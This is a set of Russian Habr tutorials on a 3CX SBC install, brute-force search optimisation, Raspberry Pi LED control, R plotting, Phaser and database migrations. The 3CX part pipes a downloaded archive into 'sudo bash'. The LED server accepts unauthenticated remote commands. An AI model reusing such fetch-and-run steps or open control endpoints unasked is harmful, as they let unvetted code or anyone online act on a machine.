Пограничный контроллер сессий 3CX SBC используется для подключения удаленных офисов с небольшим количеством телефонов к центральному серверу 3CX. Он транслирует к серверу SIP-сигнализацию, используя собственную технологию 3CX Tunnel, а локальные медиапотоки RTP (собственно, разговоры) коммутирует внутри локальной сети удаленного офиса. Это значительно экономит внешний трафик и повышает качество связи внутри офиса. Весь трафик между SBC и сервером 3CX передается по одному TCP/UDP порту, что значительно упрощает настройку сетевых экранов. Коммуникации через SBC могут быть зашифрованы, а автоматическая настройка телефонов значительно упрощена. Особенно популярен 3CX SBC при подключении к 3CX, расположенной на [облачном хостинге](https://www.3cx.ru/ip-pbx/cloud-pbx-server/), на котором проблематично или затратно организовать полноценный VPN IPSec.
3CX SBC можно установить на ПК с Windows, который активно не используется. Кроме того, если в удаленном офисе находится до 20 IP-телефонов (и до 10 BLF-индикаторов на один телефон), вы можете установить SBC на устройство Raspberry Pi. Рекомендуется использовать более производительные устройства Raspberry Pi 2 или 3 Model B.
А при большем количестве телефонов SBC следует устанавливать на Debian Linux 9.
### Подготовка к установке
Перед установкой 3CX SBC на любую платформу вам потребуется некоторая техническая информация:
* Пароль туннеля 3CX, который находится в разделе Параметры — Безопасность — вкладка 3CX Tunnel
* Порт туннеля, который находится в разделе Параметры — Сеть — вкладка Порты (по умолчанию 5090)
* SIP порт, который находится в разделе Параметры — Сеть — вкладка Порты (по умолчанию 5060)
* FQDN сервера 3CX, который указан в разделе Параметры — Сеть — вкладка FQDN
Установка и настройка 3CX SBC на Windows
----------------------------------------
[Загрузите дистрибутив](http://downloads.3cx.com/downloads/3CXSBC15.msi) и запустите файл.
Укажите параметры SBC:
* Локальный интерфейс ПК с SBC, который будет коммуницировать с IP-телефонами.
* FQDN сервера 3CX, который должен корректно разрешаться из удаленного офиса.
* SIP и 3CX Tunnel порт сервера 3CX.
3CX SBC позволяет реализовать [отказоустойчивый кластер IP-телефонии](https://www.3cx.ru/docs/manual/backup-restore-failover/). При недоступности основного SIP-сервера, SBC автоматически переключается на резервный сервер. Для этого включите Enable Failover и укажите внешний IP-адрес (не FQDN) резервного сервера.
Затем укажите пароль аутентификации туннеля, о котором говорилось ранее. Если включить опцию Enable Encryption, весь VoIP-трафик между 3CX SBC и АТС 3CX будет зашифрован (необходима версия 3CX 15 и выше).
Установка и настройка 3CX SBC на Raspberry Pi или Debian 9 amd64
----------------------------------------------------------------
### Установка Raspbian ОС
Подключите Raspberry Pi к монитору, сети и включите устройство. Появится окно NOOBS, в котором выберите и установите Raspbian ОС.
После установки операционной системы рекомендуется изменить пароль администратора (опция 2). По умолчанию, имя пользователя pi, пароль raspberry.
Затем выберите опцию 8 и измените имя хоста сервера SBC. Также включите SSH для работы в командной строке через SSH клиент. Завершите установку и перезагрузите устройство.
### Установка SBC
Установка 3CX SBC на Raspberry Pi и Debian Linux выполняется единообразно.
Выполните команды:
```
wget http://downloads.3cx.com/downloads/sbc/3cxsbc.zip
sudo bash 3cxsbc.zip
```
Затем в разделе Required Details укажите параметры SBC.
FQDN сервера 3CX, который должен уже разрешаться на IP-адрес на момент установки SBC.
Локальный IP-адрес сервера 3CX. Если сервер находится за NAT, укажите внутренний адрес, а если на публичном IP-адресе или облачном хостинге без NAT — публичный IP-адрес.
Затем укажите SIP порт сервера 3CX.
И порт 3CX Tunnel.
Затем укажите пароль 3CX Tunnel. Все вышеуказанные параметры, как было сказано, находятся в интерфейсе сервера 3CX.
На следующем этапе можно включить отказоустойчивость и указать IP-адрес резервного сервера 3CX.
Также вы можете включить шифрование всего трафика между удаленным офисом и сервером 3CX. Учитывайте, что это повышает нагрузку на процессор устройства.
### Обновление 3CX SBC на Raspberry Pi или Debian 9 amd64
Если у вас уже установлен SBC и необходимо его обновить, выполните команды:
```
sudo apt-get update
sudo apt-get install 3cxsbc
```
Сервис SBC будет перезапущен.
Автонастройка IP-телефонов через 3CX SBC
----------------------------------------
Инструкции по автоматической настройке IP-телефонов различных моделей приведены [здесь](https://www.3cx.ru/sip-phones/).
При настройке телефона укажите его модель, способ автонастройки — Удаленное 3CX SBC подключение, и MAC-адрес. Для контроллера SBC укажите внутренний IP-адрес и порт (5060 по умолчанию) компьютера, на котором он установлен в удаленном офисе
Подключение IP-телефонов через 3CX SBC позволяет централизованно администрировать все телефоны организации — изменять параметры дисплея, обновлять прошивки и конфигурацию, перезапускать устройства и т.п. | https://habr.com/ru/post/417243/ | null | ru | null |
# Оптимизация перебора
*Дисклеймер: для понимания этой статьи требуются начальные знания теории графов, в частности знание [поиска в глубину](http://ru.wikipedia.org/wiki/Поиск_в_глубину), [поиска в ширину](http://ru.wikipedia.org/wiki/Поиск_в_ширину) и [алгоритма Беллмана — Форда](http://ru.wikipedia.org/wiki/Алгоритм_Беллмана_—_Форда)*.
#### Введение
Наверняка вы сталкивались с задачами, которые приходилось решать перебором. А если вы занимались олимпиадным программированием, то точно видели NP-полные задачи, которые никто не умеет решать за полиномиальное время. Такими задачами, например, является поиск пути максимальной длины без самопересечений в графе и многим известная игра — [судоку](http://ru.wikipedia.org/wiki/Судоку), обобщенная на размер . Полный перебор крайне долгий, ведь время его работы растёт экспоненциально относительно размера входных данных. Например, время поиска максимального пути в графе из 15 вершин наивным перебором становится заметным, а при 20 — очень долгим.
В этом посте я расскажу как можно оптимизировать большинство переборов, чтобы они стали работать на порядки быстрее.
#### Поподробнее про перебор
##### Пример
Рассмотрим наивное решение задачи о нахождении пути максимальной длины без самопересечений в графе **G**.
Запускаем немного измененный [обход в глубину](http://ru.wikipedia.org/wiki/Поиск_в_глубину). А именно, вместо проверки на то, посетили ли мы вершину делаем проверку на принадлежность вершины к текущему пути. И теперь, если на каждой итерации обновлять текущий глобальный результат, то в итоге в этой переменной будет лежать ответ на задачу.
Если посмотреть в это решение чуть глубже, то можно увидеть, что по-настоящему был запущен классический поиск в глубину, но на другом графе — графе состояний **S**. В этом графе вершины задаются маской вершин графа **G**, принадлежащих текущему пути, и номером последней вершины. Рёбра задаются наличием ребра в графе **G** между последними вершинами путей и равенством остальной маски.
Большинство переборов можно представить в виде поиска по графу состояний.
##### А что мы собственно ищем
Переборы бывают трёх типов:
1) Проверка существования.
2) Максимизация/Минимизация на не взвешенном графе.
3) Максимизация/Минимизация на взвешенном графе.
Для решения наивным методом первых двух задач используется поиск в глубину или поиск в ширину, а для третьей — алгоритм Беллмана — Форда по графу состояний **S**.
А теперь сами оптимизации.
#### Оптимизация №1: **мемоизация**, или **ленивость**
Не нужно делать одно и тоже несколько раз. Можно просто запомнить результат, и когда в следующий раз нужно будет сделать ту же работу, просто взять её результат. Это работает на задачах проверки существования, а на двух других это иногда работает частично. Есть два варианта: или результат состояния кодируется им же, или нет. Если да, то мемоизация работает отлично. Если нет, то мемоизация может помочь не делать работу, когда текущий ответ состояния хуже, чем был когда-то до этого момента в этом же состоянии.
Если граф состояний **S** мал, то нам повезло — можно сделать булевский массив, иначе мемоизацию лучше всего реализовать хеш-таблицей.
Обычно реализовать это не сложно. Нужно добавить 2 строчки: в начале проверять, что нас здесь ещё не было, а в конце записывать, что мы здесь были.
#### Оптимизация №2: **отсечение по ответу**
Оптимизация заключается в том, что мы сравниваем оценку наилучшего ответа, достижимого из этого состояния, с текущим глобальным результатом. Эта оптимизация работает, если нам надо что-либо максимизировать или минимизировать. В случае проверки существования можно сделать оценку достижимости результата. Например, в проверке является ли граф гамильтоновым, можно добавить проверку достижимости всех вершин графа **G**, не проходя через вершины, лежащие на текущем пути.
Хорошим примером для этой оптимизации является поиск пути максимальной длины без самопересечений в графе **G**. Эта задача NP-полная.
Допустим, мы находимся в каком-то состоянии **s** графа **S**. Если нам, как ни крути, не удастся улучшить результат, то стоит вернуться. Теперь надо научиться это проверять. Например, можно посчитать количество достижимых вершин графа **G** из последней вершины пути состояния **s** и прибавить длину уже полученного пути, то полученное число будет верхней границей максимального ответа, достижимого из **s**. Значит, если оно меньше текущего результата, то можно не запускать перебор из этого состояния.
Если абстрагироваться от конкретной задачи, то надо подобрать такую функцию , чтобы  было оценкой ответа достижимого из **s**, где  — это текущий ответ состояния **s**.
Если функция  будет достаточно хорошо отражать реальность, то эта оптимизация может ускорить работу алгоритма на порядки.
Отсечение по ответу, пожалуй, самая важная оптимизация, потому что её используют многие другие оптимизации и методы.
#### Оптимизация №3: **жадность**
Жадность — это когда мы хватаем всё самое, на первый взгляд, хорошее. То есть идём по ребру, которое нам показалось перспективней остальных. Проблема в том, что ответ, который находит жадность, необязательно самый хороший, но чем лучше наша оценка, тем лучше результат. За функцию оценки можно взять  из отсечения по ответу.
А теперь по порядку.
Отсечение по ответу срабатывает чаще, если есть хороший ответ. Тогда можно вначале запустить жадный алгоритм и получить какой-то ответ. Это будет неплохим началом, чтобы отсекать совсем плохие ветки перебора.
Посмотрим на работу поиска в глубину. В состоянии **s** мы перебираем рёбра в каком-то случайном порядке и запускаемся от них дальше. Так давайте перебирать рёбра в порядке убывания оценки . Для этого просто отсортируем их в поиске в глубину перед переходом в следующие состояния. Тогда отсечение по ответу будет сперва получать более качественные состояния. Стоит заметить, что в таком виде поиск в глубину в самом начале будет действовать как жадный алгоритм, значит отдельно его можно не запускать.
#### Пара слов про взвешенные графы
Обычно алгоритм Беллмана — Форда пишут примерно так:
```
for v in vertices:
for e in edges:
relaxation(e)
```
А можно его написать немного по-другому: как поиск в ширину, но при проверке на то, посетили ли мы раньше это состояние, сравнивать текущий и мемоизированный, и, если мемоизированный лучше, то отрубать эту ветку перебора.
#### Чем «плох» поиск в глубину и поиск в ширину
Немного картинок:
 
Красным выделены множества посещённых состояний графа **S** после некоторого времени работы поиска в глубину и в ширину соответственно.
Обе эти области очень сильно локализованы в каком-то одном месте. Нужен какой-то механизм, который будет распределять красную область по всему графу **S**, чтобы быстрее улучшать ответ, который поможет отрубать плохие ветки перебора.
Если мы решаем задачу минимизации, то действия поиска в ширину выглядят логично, но, к сожалению, он вряд ли получит какой-то ответ для отсечения.
#### Механизмы выбора области поиска
##### Жадность
И опять к нам пришла жадность, но теперь немного в другом ключе. В прошлый раз мы сортировали рёбра и переходили по ним *всем* последовательно, но это нам слабо поможет искать более глобально, чем на картинках сверху.
Все помнят, что есть число 1 и есть число **N**, но многие забывают, что есть ещё и числа между ними. Жадность — это выбор одного ребра, а поиск в глубину — выбор **N** рёбер. Давайте напишем жадный поиск в глубину, который будет переходить по первым **k** рёбер.
Если использовать этот метод, то перебор будет обходить намного большие поддеревья графа **S**.
Проблема в том, что если взять слишком маленькое **k**, то ответ может оказаться неправильным, а если слишком большое, то времени может не хватить. Решение довольно простое: надо выбрать все возможные **k**. То есть написать внешний цикл, перебирающий **k** от 1 до бесконечности, пока время не кончилось, а в теле цикла запускать поиск решения.
Здесь стоит понять, что так как количество просмотренных состояний графа **S** растёт экспоненциально относительно роста **k**, то перебор этой переменной от 1 до **k**-1 не будет увеличивать асимптотическую сложность. В худшем случае время работы увеличится не более чем в константу раз, а на практике значительно уменьшится из-за отсечения по хорошему ответу.
##### Iterative deepening
Этот метод как бы заставляет поиск в глубину выполнять не те задачи, которые он обычно выполняет.
Суть метода заключается в том, чтобы создать глобальную переменную — максимальная глубина, на которую должен спускаться поиск в глубину. Так же как и с **k** запускаем внешний цикл по этой глубине.
Теперь поиск в глубину больше напоминает поиск в ширину, но с той разницей, что он сразу получает какой-то ответ для отсечения.
##### Ограничение размера очереди поиска в ширину
Это тоже жадность, но теперь для поиска в ширину. Из названия понятно, что мы будем ограничивать очередь. Для этого опять заведём глобальную переменную — размер очереди и переберём её от 2 до бесконечности. Но перебирать будем не по +1, а умножать на константу, например, на 2.
В какой-то момент размер очереди превысит выбранный максимальный размер и придётся кого-то выбросить за борт. Чтобы выбрать, надо отсортировать по какому-то признаку. Будем использовать, как всегда, функцию  для сравнения состояний.
#### Что из всего этого теперь писать
Для наилучшего результата надо написать почти всё и почти сразу.
Вначале запускаем поиск в глубину на некоторое время с мемоизацией, отсечением по ответу, сортировкой рёбер, и перебором **k**, но без Iterative deepening.
Далее запускаем поиск в ширину с отсечением по ответу и ограничением размера очереди.
Поиск в глубину нужен, чтобы найти неплохой ответ для отсечения в поиске в ширину, а поиск в ширину нужен, чтобы найти уже наилучший ответ. Эта сборная солянка неплохо показывает себя во многих задачах на перебор.
#### Теперь немного практики
Поиск максимального пути без самопересечений в графе
Случайный граф: 18 вершин, 54 ребра.
Время работы:
Нет оптимизаций ~ 4 сек.
Мемоизация, отсечение по ответу ~0.2 мс.
Случайный граф: 30 вершин, 90 рёбер.
Нет оптимизаций > 1 часа (не дождался).
Мемоизация, отсечение по ответу ~ 0.5 с.
Мемоизация, отсечение по ответу, жадность ~ 10 мс. | https://habr.com/ru/post/190850/ | null | ru | null |
# Управляем светодиодом через интернет с использованием RaspberryPi
В наше время обычная вещь, подключённая к интернету, начинает становиться обыденностью. Даже появилось понятие — «интернет вещей» (Internet of Things, IoT). Но как подступиться к этому своеобразному интернету новичку — не всегда понятно, потому что хотя статей по данной теме много, но каждому хочется, чтобы статья была простой для воспроизведения и чтобы в ней разбиралось что-то очень близкое и приятное для читателя.
Поэтому попробуем подключить к интернету самое простое — светодиод, взятый из сломанной оптической мыши. Будем через страницу в интернете включать и выключать светодиод, управлять частотой его мерцаний.
#### Для нашего эксперимента потребуется
* Интернет через ethernet кабель
* Raspberry Pi
* Сломанная оптическая мышка, провода, паяльник
* Доступ к сайту на vps с правами рута
### Собираем схему
Схема подключения светодиода к интернету будет следующая:
Итак, соберём все детали на столе и спаяем нашу простую схемку. Из мышки достаём светодиод и резистор в 220 Ом. Резистор нужен для ограничения тока, он мелкий и его еле можно разглядеть на конце провода. Для соединения проводов с GPIO использую коннекторы, которые выпросил в сервисе, ремонтирующем компьютеры.
### Подготавливаем софт
На сервере и «малинке» должен стоять node.js и npm (node package manager). Устанавливаем [по данной инструкции](https://github.com/joyent/node/wiki/backports.debian.org).
Для того, чтобы node.js смог работать с GPIO, требуется установить модуль rpi-gpio. А для соединения с сервером RPi потребуется `socket.io-client`. Устанавливаются пакеты командой `sudo npm install rpi-gpio` и `sudo npm install socket.io-client`.
**Скрипт для node.js на Raspberry Pi:**
```
var socket = require('socket.io-client')('vpssite.domain:3141');
var gpio = require('rpi-gpio');
var fs = require('fs');
// hack due to error
fs.exists = require('path').exists;
var async = require('async');
// pin GPIO4
var pin = 7;
// current fps
var piFps = 0;
var currentValue = false;
var timemanager;
var set0 = function(err, results) {
if (err)
console.log(err);
console.log('Pin ' + pin + ' closed');
directWrite(pin, false, function() {
clearTimeout(timemanager);
});
};
var blinkexec = function() {
delayedWrite(7, true, function() {
delayedWrite(7, false, blinkexec)
});
};
var blink = function(err, results) {
if (err)
console.log(err);
console.log('Pin ' + pin + ' blinking');
blinkexec();
};
function directWrite(pin, value, callback) {
return gpio.write(pin, value, callback);
}
function delayedWrite(pin, value, callback) {
var delay = Math.round(1000 / piFps / 2);
clearTimeout(timemanager);
timemanager = setTimeout(function() {
directWrite(pin, value, callback);
}, delay);
}
var release = function() {
console.log('Writes complete, pause then unexport pins');
setTimeout(function() {
gpio.destroy(function() {
console.log('Closed pins, now exit');
return process.exit(0);
});
}, 500);
};
socket.on('connect', function() {
console.log('connected');
socket.on('setfps', function(data) {
console.log(data);
if (data.fps > 0) {
piFps = data.fps;
gpio.setup(pin, gpio.DIR_OUT, blink);
} else {
gpio.setup(pin, gpio.DIR_OUT, set0);
}
});
socket.on('disconnect', function() {
console.log('disconnect');
release();
});
});
```
Следующий код на сервере создаёт сервер на порту 3141 и принимает команду setfps и рассылает её дальше всем браузерам и Raspberry Pi.
**Скрипт для node.js на vps**
```
var app = require('express')();
var server = require('http').Server(app);
var io = require('socket.io')(server);
var allClients = [];
var count = 0;
var fpsPi = 0;
server.listen(3141);
server.on('error', function(e) {
if (e.code == 'EADDRINUSE') {
console.log('Address in use, exit...');
process.exit();
}
});
app.get('/', function (req, res) {
res.send('Fps is ' + fpsPi);
console.log('requested / - show ' + fpsPi);
});
function getDate() {
var datas = new Date();
return datas.getHours() + ':' + datas.getMinutes() + ':' + datas.getSeconds() + '.' + datas.getMilliseconds()
}
function consolelog(msg) {
console.log(getDate() + ' ' + msg);
}
io.on('connection', function (socket) {
io.emit('setfps', {fps: fpsPi});
// browser subscribes to listen to the station
socket.on('subscribe', function(data) {
socket.json.emit('subscribed', {fps: fpsPi});
io.emit('setfps', {fps: fpsPi});
});
// disconnect on error. Browser will reconnect
socket.on('error', function() {
socket.disconnect();
});
// client disconnects
socket.on('disconnect', function() {
consolelog('Client disconnected.');
});
// save to RPi and browsers new fps
socket.on('setfps', function(fps){
fpsPi = fps;
consolelog('setfps ' + fpsPi);
io.emit('setfps', {fps: fpsPi});
});
});
```
### Запуск работы
Запускаем скрипты следующим образом. На RaspberryPi — с правами рута: `sudo nodejs led.js`, а на сервере — просто добавляем в кронтаб `* * * * * cd /var/www/apps; node server.js >> cron_rpi.log`, это не так красиво, зато всегда сервер будет запущен и можем о нём забыть.
На странице своего сайта включаем код для слайдера jquery-ui и socket.io с нашего сервера. При получении сигнала от node.js-сервера слайдер выставляет текущее значение fps и наоборот — при передвижении слайдера мы на сервер отсылаем новое значение fps, которое сервер затем рассылает всем клиентам в браузеры и на Raspberry Pi.
**Код, размещаемый на странице сайта**
```
function setSlided(val) {
if (val == 0) {
$('#freq').html('Выключен');
$('#freq2').hide();
}
else {
$('#freq').html(val);
$('#freq2').show();
}
}
$(function() {
// соединяемся с nodejs на сервере
var socket = io.connect('http://bk-it.ru:3141');
socket.emit('subscribe');
// при ответе сервера выставляем текущую fps
socket.on('subscribed', function(data) {
if (!data.error) {
setSlided(data.fps);
$("#loading").hide();
$("#slider").slider({
min: 0,
max: 20,
value: data.fps,
slide: function(event, ui) {
$("#slider").slider({ disabled: true });
socket.emit('setfps', ui.value);
//setSlided(ui.value);
}
});
}
});
socket.on('setfps', function(data) {
if (!data.error) {
setSlided(data.fps);
$("#slider").slider({value: data.fps});
$("#slider").slider({ disabled: false});
}
});
});
Светодиод, подключённый к интернету
===================================
Управляйте светодиодом через сайт
Соединяемся 
Частота мерцания **Выключен** раз/сек
Не так часто встречаете светодиод, подключённый к интернету?
```
### Результаты работы
А вот и видео, описывающее, что получилось:
Вот, собственно, и всё, светодиод подключен к интернету. Теперь с любого устройства с интернетом мы можем управлять его мерцанием. Простор для дальнейшего творчества большой. Можно к выводам подключить [модуль-реле](https://www.modmypi.com/shop/nwazet-pecan-pi-relay-kit) и кнопкой на своём сайте включать и выключать любое оборудование. Модулей для Raspberry Pi продаётся очень много, поэтому полёт фантазии почти не ограничен, особенно если в наличии восторженный восьмилетний почитатель электроники.
### Полезные ссылки, помогшие эксперименту
[Документация Socket.io](http://socket.io/docs/);
[Документация Node.js](http://nodejs.org/api/);
[Пакет rpi-gpio](https://www.npmjs.org/package/rpi-gpio);
[Документация на jquery-ui слайдер](http://api.jqueryui.com/slider/);
[Распиновка GPIO на Raspberry Pi](https://www.modmypi.com/image/data/tutorials/gpio-en-francais/le-raspberry-pi-3.jpg);
[Модуль respawn для автоматического запуска nodejs-приложения (но я выбрал crontab)](https://github.com/mafintosh/respawn).
Код можете взять из [rpi-led](https://github.com/shukshin-ivan/rpi-led) на гитхабе. | https://habr.com/ru/post/242409/ | null | ru | null |
# Визуализация статических и динамических сетей на R, часть 2
В [первой части](http://habrahabr.ru/company/infopulse/blog/262079/):
* визуализация сетей: зачем? каким образом?
* параметры визуализации
* best practices — эстетика и производительность
* форматы данных и подготовка
* описание наборов данных, которые используются в примерах
* начало работы с igraph
В этой части: цвета и шрифты в графиках R.
#### Краткое введение I: цвета в графиках R
Цвета — это красиво, но куда важнее то, что они помогают различать типы объектов, градации свойства. В большинстве функций R можно использовать *названия цветов*, *RGB* или *шестнадцатеричные значения*. В простом базовом графике R ниже `x` и `y` — координаты точек, `pch` — символ для обозначения точек, `cex` — размер точки и `col` — цвет. Чтобы узнать, какие бывают параметры для построения графиков в R, выполните команду `?par`.
```
plot(x=1:10, y=rep(5,10), pch=19, cex=3, col="dark red")
points(x=1:10, y=rep(6, 10), pch=19, cex=3, col="557799")
points(x=1:10, y=rep(4, 10), pch=19, cex=3, col=rgb(.25, .5, .3))
```
Как видно, RGB здесь варьируется от 0 до 1. Это настройка по умолчанию для R, но можно установить и диапазон от 0 до 255, используя команду `rgb(10, 100, 100, maxColorValue=255)`.
Можно установить прозрачность элемента, используя параметр `alpha` (от 0 до 1):
```
plot(x=1:5, y=rep(5,5), pch=19, cex=12, col=rgb(.25, .5, .3, alpha=.5), xlim=c(0,6))
```
Если используется шестнадцатеричное представление цвета, можно установить коэффициент прозрачности, используя `adjustcolor` из пакета `grDevices`. Ради интереса также покрасим фон графика в серый с помощью функции `par()` для установки настроек графики.
```
par(bg="gray40")
col.tr <- grDevices::adjustcolor("557799", alpha=0.7)
plot(x=1:5, y=rep(5,5), pch=19, cex=12, col=col.tr, xlim=c(0,6))
```
Если вы планируете использовать встроенные названия цветов, вот как можно получить их все:
```
colors() # List all named colors
grep("blue", colors(), value=T) # Colors that have "blue" in the name
```
В большинстве случаев нам нужно или несколько контрастных цветов, или оттенки одного цвета. В R есть встроенная функция палитры, которая может это сгенерировать. Например:
```
pal1 <- heat.colors(5, alpha=1) # 5 colors from the heat palette, opaque
pal2 <- rainbow(5, alpha=.5) # 5 colors from the heat palette, transparent
plot(x=1:10, y=1:10, pch=19, cex=5, col=pal1)
```
```
plot(x=1:10, y=1:10, pch=19, cex=5, col=pal2)
```
Мы также можем создавать свои собственные градиенты с помощью `colorRampPalette`. Обратите внимание, что `colorRampPalette` возвращает *функцию*, которую можно использовать для генерации стольких цветов из этой палитры, сколько нужно.
```
palf <- colorRampPalette(c("gray80", "dark red"))
plot(x=10:1, y=1:10, pch=19, cex=5, col=palf(10))
```
Чтобы добавить прозрачность в `colorRampPalette`, нужно использовать параметр `alpha=TRUE`:
```
palf <- colorRampPalette(c(rgb(1,1,1, .2),rgb(.8,0,0, .7)), alpha=TRUE)
plot(x=10:1, y=1:10, pch=19, cex=5, col=palf(10))
```
Нахождение хорошей комбинации цветов — непростая задача, при этом встроенные палитры R довольно ограничены. К счастью, эту проблему решают и другие пакеты:
```
# If you don't have R ColorBrewer already, you will need to install it:
install.packages("RColorBrewer")
library(RColorBrewer)
display.brewer.all()
```
В этом пакете одна главная функция — `brewer.pal`. Для того, чтобы ей воспользоваться, нужно только выбрать необходимую палитру и количество цветов. Давайте взглянем на некоторые палитры `RColorBrewer`:
```
display.brewer.pal(8, "Set3")
```
```
display.brewer.pal(8, "Spectral")
```
```
display.brewer.pal(8, "Blues")
```
Использование палитр `RColorBrewer` в графах:
```
pal3 <- brewer.pal(10, "Set3")
plot(x=10:1, y=10:1, pch=19, cex=4, col=pal3)
```
#### Краткое введение II: шрифты в графиках R
Использование разных шрифтов в графиках R может потребовать определенных усилий. Это особенно актуально для пользователей Windows, пользователи Mac и Linux, скорее всего, могут благополучно пропустить этот раздел.
Для того, чтобы импортировать шрифты из ОС в R, воспользуемся пакетом `extrafont`:
```
install.packages("extrafont")
library(extrafont)
# Import system fonts - may take a while.
font_import()
fonts() # See what font families are available to you now.
loadfonts(device = "win") # use device = "pdf" for pdf plot output.
```
Теперь шрифты доступны, и можно делать что-то такое:
```
library(extrafont)
plot(net, vertex.size=30)
plot(net, vertex.size=30, vertex.label.family="Arial Black" )
```
Когда вы сохраняете графики как PDF-файлы, тоже можно установить шрифты:
```
# First you may have to let R know where to find ghostscript on your machine:
Sys.setenv(R_GSCMD = "C:/Program Files/gs/gs9.10/bin/gswin64c.exe")
# pdf() will send all the plots we output before dev.off() to a pdf file:
pdf(file="ArialBlack.pdf")
plot(net, vertex.size=30, vertex.label.family="Arial Black" )
dev.off()
embed_fonts("ArialBlack.pdf", outfile="ArialBlack_embed.pdf")
``` | https://habr.com/ru/post/263947/ | null | ru | null |
# Создание вашей первой игры на Phaser. Часть 3 — Создание игрового мира
Оглавление
----------
**0**. [Подготовка к работе](https://habrahabr.ru/post/324894/)
**1**. [Введение](https://habrahabr.ru/post/324896/)
**2**. [Загрузка ресурсов](https://habrahabr.ru/post/325220/)
**3**. Создание игрового мира [`Вы тут`]
**4**. (*wip*) Группы
**5**. (*wip*) Мир физики
**6**. (*wip*) Управление
**7**. (*wip*) Добавление целей
**8**. (*wip*) Последние штрихи
Пришло время создать маленький мир для нашего платформера, чтобы главному герою было где жить и его существование имело хоть какой-то смысл.
Не забывайте читать комментарии в коде, они важны!
Весь код, как и в прошлый раз, лежит в [Github репозитории](https://github.com/SuperPaintman/phaser-typescript-tutorial) с тегом `part-3`.
Создание игрового мира
----------------------
Мы уже использовали метод `this.game.add.sprite()` в прошлом уроке для создания звезд, но помимо добавления спрайта в игровой мир, этот метод также создает объект `Phaser.Sprite` для дальнейших манипуляций с созданным спрайтом.
Игровой мир в **Phaser** — это место, где живут все созданные нами объекты, его можно сравнить со сценой в **ActionScript 3**. По умолчанию игровой мир полностью отчищается при смене или перезагрузки стейта игры.
> Игровой мир не имеет фиксированного размера и может неограниченно расширяется во всех направлениях, а координаты `0`, `0` — это центр данного мира. Для удобства **Phaser** помещает верхнюю левую точку игровой камеры в центр мира, но вы можете передвигать камеру в нужное вам место.
Вы можете получить доступ к объекту мира через ссылку: `this.game.world`. В данном объекте вы найдете множество полезных свойств и методов (Таких как высота и ширина мира, массив элементов, добавленных в игру и т.д.), которые помогут вам размещать и управлять элементами в игровом мире, а также сортировать их на экране.
А пока давайте вернемся к коду. Удалим все созданные нами ранее звезды из `MainState` (`src/states/main.state.ts`), и добавим в этот стейт фон и платформы:
```
'use strict';
/** Imports */
import State from './state';
// Основной стейт игры
export default class MainState extends State {
sky: Phaser.Sprite; // Ссылка на спрайт неба
platforms: Phaser.Group; // Ссылка на группу спрайтов платформ
create(): void {
// Phaser поддерживает разные физические движки (p2, box2d, ninja и arcate).
// Для нашей игры нам не нужна сложная физическая симуляция, так что выберем
// аркадную физику.
this.game.physics.startSystem(Phaser.Physics.ARCADE);
// Добавим на фон спрайт неба
this.sky = this.game.add.sprite(0, 0, 'sky');
// Создадим группу для платформ
this.platforms = this.game.add.group();
// и включим физику для всех объектов, добавленных в эту группу
this.platforms.enableBody = true;
// Создадим спрайт пола
const ground = this.platforms.create(
0,
this.game.world.height - 64,
'platform'
);
// растянем его в 2 раза по высоте и ширине, чтобы подогнать под размеры
// игры (оригинальные размеры спрайта - 400x32, а ширина мира 800)
ground.scale.setTo(2, 2);
// и сделаем его неподвижным (Иначе он будет падать, когда мы будем прыгать
// на него).
ground.body.immovable = true;
// Также добавим два уступа по краям экрана
const ledge1 = this.platforms.create(400, 400, 'platform');
ledge1.body.immovable = true; // Аналогично полу, сделаем его неподвижным
const ledge2 = this.platforms.create(-150, 250, 'platform');
ledge2.body.immovable = true; // и второй тоже.
}
}
```
Сделали все верно? Тогда вы увидите следующую картину у себя в браузере:
Скорее всего, вы заметили что работа с группами отличается, от создания одиночного спрайта. Я расскажу вам о их предназначении и функциях в следующей части.
На этом завершим данный урок.
**Github Repo**: <https://github.com/SuperPaintman/phaser-typescript-tutorial>
[**К содержанию**](#oglavlenie) | https://habr.com/ru/post/325384/ | null | ru | null |
# Автоматизация миграций баз данных с помощью контейнеров и Git
> В преддверии старта курса [**"Инфраструктурная платформа на основе Kubernetes"**](https://otus.pw/ClsN/) приглашаем всех желающих на [бесплатный демо-урок](https://otus.pw/ClsN/), в рамках которого о*дним глазком посмотрим на устройство kubernetes, немного поговорим о том, как взаимодействуют компоненты, разберем основные подходы к обеспечению безопасности кластера, поговорим об ограничениях ресурсов, сетевых политиках, привилегиях запуска и т. д.*
>
>
---
#### Реализуем доставку кастомных миграций баз данных с помощью файлов манифестов сценариев
Управление миграциями баз данных для нескольких сред и команд может быть достаточно сложной задачей. В этой статье описывается, как сочетание Git, контейнеров и клонов баз данных используется для реализации доставки в среды разработки, тестирования и стейджинга за считанные секунды.
Хотя Git и так часто используется в сочетании с контейнерами баз данных, описанный здесь подход все же вводит два новых элемента. Вместо того, чтобы воспроизводить базы данных из бекапов или создавать из источника данных, мы клонируем идентичные безопасные среды производственных баз данных и доставляем их в течении секунд. Клоны баз данных доступны для записи и позволяют легко внедрять маскирование данных и синтетические тестовые данные. Второй элемент - это файл манифеста сценариев, используемый при создании и применении персонализированных сценариев миграции.
Разработчик может работать с клоном производственной базы данных в функциональной ветке - сценарии для этой ветки применяются автоматически. В то же время команда тестирования может работать в релизной ветке с идентичным клоном производственной базы данных - для нее применяется набор релизных сценариев. На каком-нибудь конвейерном стейдже можно протестировать откат релизной ветки с третьим идентичным безопасным клоном производственной базы данных, благодаря автоматическому применению сценариев обновления и отката.
Эта статья берет за основу SQL Server, но эти методы также поддерживаются Postgres и MySQL.
### Компоненты
Можно использовать любой публичный или приватный репозиторий Git, включая GitHub, GitLab или Git на частной виртуальной машине.
Образ базы данных - это набор производственных баз данных, воссозданных из бекапов или файлов баз данных с применением сценариев маскирования данных. Для поддержки конкретных сред разработки, тестирования и стейджинга пользователи могут указывать сценарии из веток и репозиториев Git. Когда у вас есть резервные копии лога транзакций, образ можно обновлять инкрементно.
Файл манифеста сценариев - это текстовый файл со списком запускаемых сценариев.
Контейнер базы данных - это инстанс базы данных, предоставляющий сервисы для работы с базой данных.
Клон баз данных - это база данных с возможностью записи, создаваемая из образа, которая доставляется за секунды и требует для этого всего 40 МБ дискового пространства.
### Создание образа базы данных
